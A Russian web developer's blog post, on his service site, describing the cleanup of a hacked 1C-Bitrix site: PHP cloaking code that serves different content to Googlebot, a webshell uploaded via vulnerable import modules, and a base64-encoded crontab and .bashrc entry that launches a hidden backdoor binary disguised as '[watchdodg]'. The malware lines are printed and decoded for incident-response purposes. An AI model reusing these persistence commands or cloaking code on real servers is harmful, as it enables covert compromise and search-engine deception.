Техподдержка сайтов
+7 (904) 589-06-04
+7 (904) 589-06-04
telegram @sng24
MAX
info@sng-it.ru
ПРОГРАММИСТ 1С-БИТРИКС
ПРОГРАММИСТ 1С-БИТРИКС
разработка · доработка · техподдержка
  • О себе
  • Услуги
    Обновление сайтов на 1С-БитриксPHP 8.2+, MySQL 8, ядро и модули›Поиск и удаление вирусовПроверка, очистка и защита сайта›Создание сайтовРазработка сайтов под задачи бизнеса›Интеграция сайта с 1СОбмен товарами, остатками и заказами›Композитный сайт›Внутренняя оптимизация сайтаТехническое SEO и оптимизация›Доработка сайтовНовые функции, интеграции, нестандартные решения›Импорт каталога из файла поставщикаИмпорт и обновление товарных данных›Перенос сайта на 1С БитриксМиграция сайта на 1С-Битрикс›Парсинг контентаСбор и импорт данных›Установка готового сайтаУстановка и настройка готового решения›Купить лицензию 1С Битрикс›Битрикс 24CRM и автоматизация бизнеса›Выгрузка товаров в Яндекс.Маркет›Настройка служб доставкиИнтеграция служб доставки›Интеграция с соцсетями›Заказ на Маркете›Перевод сайта на https›Сопровождение сайтов на 1С БитриксОбслуживание и развитие сайтов›Настройка платежных системПодключение и настройка оплаты›
    Все услуги →
  • Портфолио
  • Готовые сайты
    Недвижимость›Медицина›Ресторанный бизнес›Автомобили и автозапчасти›Бухгалтерские и юридические услуги›Государство›Детские товары›Красота и здоровье›Мебель, интерьер, декор›Образование›Одежда и обувь›Подарки и сувениры›Продукты питания›Спорт, туризм и отдых›Строительство, ремонт, инструменты›Товары для животных›ТСЖ, ЖСК›Украшения, аксессуары, подарки›Электроника и бытовая техника›Универсальные›
    Все готовые сайты →
  • 1С Битрикс
    Старт (7 100 ₽)›Стандарт (20 500 ₽)›Малый бизнес (47 000 ₽)›Бизнес (96 500 ₽)›Интернет-магазин + CRM (109 000 ₽)›Продление лицензии›Сравнить редакции›
  • CRM
  • Контакты
ПРОГРАММИСТ 1С-БИТРИКС
ПРОГРАММИСТ 1С-БИТРИКС
О себе
Услуги
Портфолио
Готовые сайты
1С Битрикс
CRM
Контакты
ПРОГРАММИСТ 1С-БИТРИКС
ПРОГРАММИСТ
1С-БИТРИКС
  • Главная
  • О себе
  • Услуги
    • Назад
    • Услуги
    • Обновление сайтов на 1С-Битрикс
    • Поиск и удаление вирусов
    • Создание сайтов
    • Интеграция сайта с 1С
    • Композитный сайт
    • Внутренняя оптимизация сайта
    • Доработка сайтов
    • Импорт каталога из файла поставщика
    • Перенос сайта на 1С Битрикс
    • Парсинг контента
    • Установка готового сайта
    • Купить лицензию 1С Битрикс
    • Битрикс 24
    • Выгрузка товаров в Яндекс.Маркет
    • Настройка служб доставки
    • Интеграция с соцсетями
    • Заказ на Маркете
    • Перевод сайта на https
    • Сопровождение сайтов на 1С Битрикс
    • Настройка платежных систем
  • Портфолио
  • Готовые сайты
    • Назад
    • Готовые сайты
    • Недвижимость
    • Медицина
    • Ресторанный бизнес
    • Автомобили и автозапчасти
    • Бухгалтерские и юридические услуги
    • Государство
    • Детские товары
    • Красота и здоровье
    • Мебель, интерьер, декор
    • Образование
    • Одежда и обувь
    • Подарки и сувениры
    • Продукты питания
    • Спорт, туризм и отдых
    • Строительство, ремонт, инструменты
    • Товары для животных
    • ТСЖ, ЖСК
    • Украшения, аксессуары, подарки
    • Электроника и бытовая техника
    • Универсальные
    • Разное
  • 1С Битрикс
    • Назад
    • 1С Битрикс
    • Старт (7 100 ₽)
    • Стандарт (20 500 ₽)
    • Малый бизнес (47 000 ₽)
    • Бизнес (96 500 ₽)
    • Интернет-магазин + CRM (109 000 ₽)
    • Продление лицензии
    • Сравнить редакции
  • CRM
  • Контакты
  • Личный кабинет
  • +7 (904) 589-06-04
Будьте на связи
info@sng-it.ru
  • Вконтакте
  • YouTube

Клоакинг, подмена контента сайта по USER_AGENT

  • Главная
  • ❶ Услуги
  • ❷ Поиск и удаление вирусов
  • ❸ Клоакинг, подмена контента сайта по USER_AGENT

Довольно часто ко мне обращаются владельцы и администраторы взломанных сайтов по поводу удаления вредоносного кода и закрытия уязвимостей. Недавно был интересный случай, обратился администратор сайта с таким запросом:

"Нам нужна услуга по очистке сайта от вируса. Сайт на битриксе. Вирус типа клоакинг, подменяет контент для юзер-агена поисковиков".

В данной статье я описал поиск и устранение уязвимостей типа "Клоакинг" на сайте.

Клоакинг (от англ. cloaking — "маскировка") — это SEO-практика, при которой сайт показывает разный контент поисковым роботам и обычным пользователям. Это запрещённый метод, нарушающий правила поисковых систем.

    Список действий:

  • Сканирование сайта на подозрительный код
  • Анализ логов
  • Проверка crontab и агентов
  • Проверка запущенных процессов

Сканирование сайта на подозрительный код

Для сканирования сайтов на вирусы я использую свой модуль Поиск вирусов и встроенный в модуль Проактивной защиты - Поиск троянов. Проверка показала наличие уязвимостей, но клоакинг пришлось искать вручную, последовательно по ходу обработки запроса, сначала в .htaccess, и подключаемых в нем файлах, далее в модулях. Вирус был найден в прологе, подключался файл:

include ('/dev/shm/shm');
клоакинг

В файле dev/shm/shm была проверка юзер-агента:

if (check_user_agent('Googlebot') || check_user_agent('Google-Site-Verification') || check_user_agent('Google-InspectionTool')) { echo $useragent_code; exit; }
И далее подмена контента:

подмена контента

Анализ логов

Оставался вопрос - как зашли на сайт и какие есть лазейки.
Судя по логам, зайти на сайт могли с помощью уязвимостей модулей kda.importexcel, esol.importexportexcel, загрузили вебшел, типа /ajax/89a9094c8917.php, и получили полный доступ.

Проверка crontab и агентов

На кроне стояла подозрительная задача:

#0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVU2MDAgZGVmdW5jdCAyPi9kZXYvbnVsbCB8fCBTSEVMTD0vYmluL2Jhc2ggVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS9iaXRyaXgvLmNvbmZpZy9odG9wL2RlZnVuY3QuZGF0IC1saXFEIiAvdXNyL2Jpbi9iYXNoIC1jICJleGVjIC1hICdbd2F0Y2hkb2dkXScgJy9ob21lL2JpdHJpeC8uY29uZmlnL2h0b3AvZGVmdW5jdCciIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel

На кроне стояла подозрительная задача

Обфусцированный код явно вызывал подозрение.

После декодирования base64, получили:

/usr/bin/pkill -0 -U600 defunct 2>/dev/null || SHELL=/bin/bash TERM=xterm-256color GS_ARGS="-k /home/bitrix/.config/htop/defunct.dat -liqD" /usr/bin/bash -c "exec -a '[watchdodg]' '/home/bitrix/.config/htop/defunct'" 2>/dev/null
Запускался вредоносный процесс defung, который использовал бинарный файл /home/bitrix/.config/htop/defunct возможно для майнинга или каких-то других целей.

Среди агентов подозрительных не было.

Проверка запущенных процессов

Ещё один вредонос нашли в файле /home/bitrix/.bashrc:

вредонос нашли в файле /home/bitrix/.bashrc

После декодирования она превращается в: /usr/bin/pkill -0 -U600 defunct 2>/dev/null || (TERM=xterm-256color GS_ARGS="-k /home/bitrix/.config/htop/defunct.dat -liqQ" exec -a '[watchdodg]' '/home/bitrix/.config/htop/defunct' 2>/dev/null)

pkill -0 -U600 defunct – проверяет, работает ли процесс с именем defunct от пользователя с UID 600. Если процесса нет, запускается вредоносный бинарный файл: /home/bitrix/.config/htop/defunct под маскировкой [watchdodg]. Вероятно, это бэкдор или майнер, который маскируется под легитимный процесс.

defunct

В общем, процессы завершили, вредоносный контент удалили, наблюдаем за сайтами.


Семен Голиков.


Получите консультацию специалиста
Семен Голиков
Семен Голиков
telegram @sng24
Cертифицированный программист 1С Битрикс

У меня Вы можете заказать программные работы или проконсультироваться по сайту.

C 2010 года разрабатываю и поддерживаю сайты на 1С Битрикс. Являюсь Золотым партнером компании 1С Битрикс и имею компетенции: Интеграция с 1С, Композитный сайт, Битрикс24, а также все сертификаты специалиста.

Золотой партнер компании 1С БитриксКомпетенция партнера - Интеграция с 1СКомпетенция партнера - Композитный сайтКомпетенция партнера - Битрикс 24Участник программы качества внедрений


info@sng-it.ru
+7 (904) 589-06-04

Поделиться:
Назад к списку
  • Услуги
  • Обновление сайтов на 1С-Битрикс
  • Поиск и удаление вирусов
  • Интеграция сайта с 1С
  • Создание сайтов
  • Композитный сайт
  • Внутренняя оптимизация сайта
    • Доработка сайтов
    • Импорт каталога из файла поставщика
    • Парсинг контента
    • Перенос сайта на 1С Битрикс
    • Установка готового сайта
    • Купить лицензию 1С Битрикс
      • Битрикс 24
        • Выгрузка товаров в Яндекс.Маркет
        • Заказ на Маркете
        • Интеграция с соцсетями
        • Настройка служб доставки
        • Перевод сайта на https
        • Сопровождение сайтов на 1С Битрикс
        • Настройка платежных систем
        Аудит сайта
        Записаться на техподдержку

        Программист 1С-Битрикс — Семён Голиков
        Программист 1С-Битрикс
        разработка · доработка · техподдержка
        Работаю с 1С-Битрикс с 2010 года
        Есть задача по 1С-Битрикс?
        Выберите удобное время в календаре техподдержки.
        Выбрать времяНаписать в Telegram
        Услуги
        Доработка сайтовСопровождение сайтовОбновление 1С-БитриксПоиск и удаление вирусовИнтеграция с 1СХостинг для битрикса
        Проекты и продукты
        ПортфолиоГотовые сайтыЛицензии 1С-БитриксБитрикс24Отзывы
        Материалы
        БлогСниппетыВидеоурокиОптимизация сайтаАкции
        Связаться со мной
        +7 (904) 589-06-04Позвонитьinfo@sng-it.ruНаписать на e-mail
        Telegram M MAX
        Обычно отвечаю в течение дня
        © 2010-2026 Семён Голиков · программист 1С-Битрикс
        Политика конфиденциальностиОбработка персональных данныхКарта сайта
        VK
        Спасибо за заявку!
        Мы свяжемся с Вами в ближайшее
        время и ответим на все вопросы.
        Заполните форму и отправьте
        заявку на консультацию!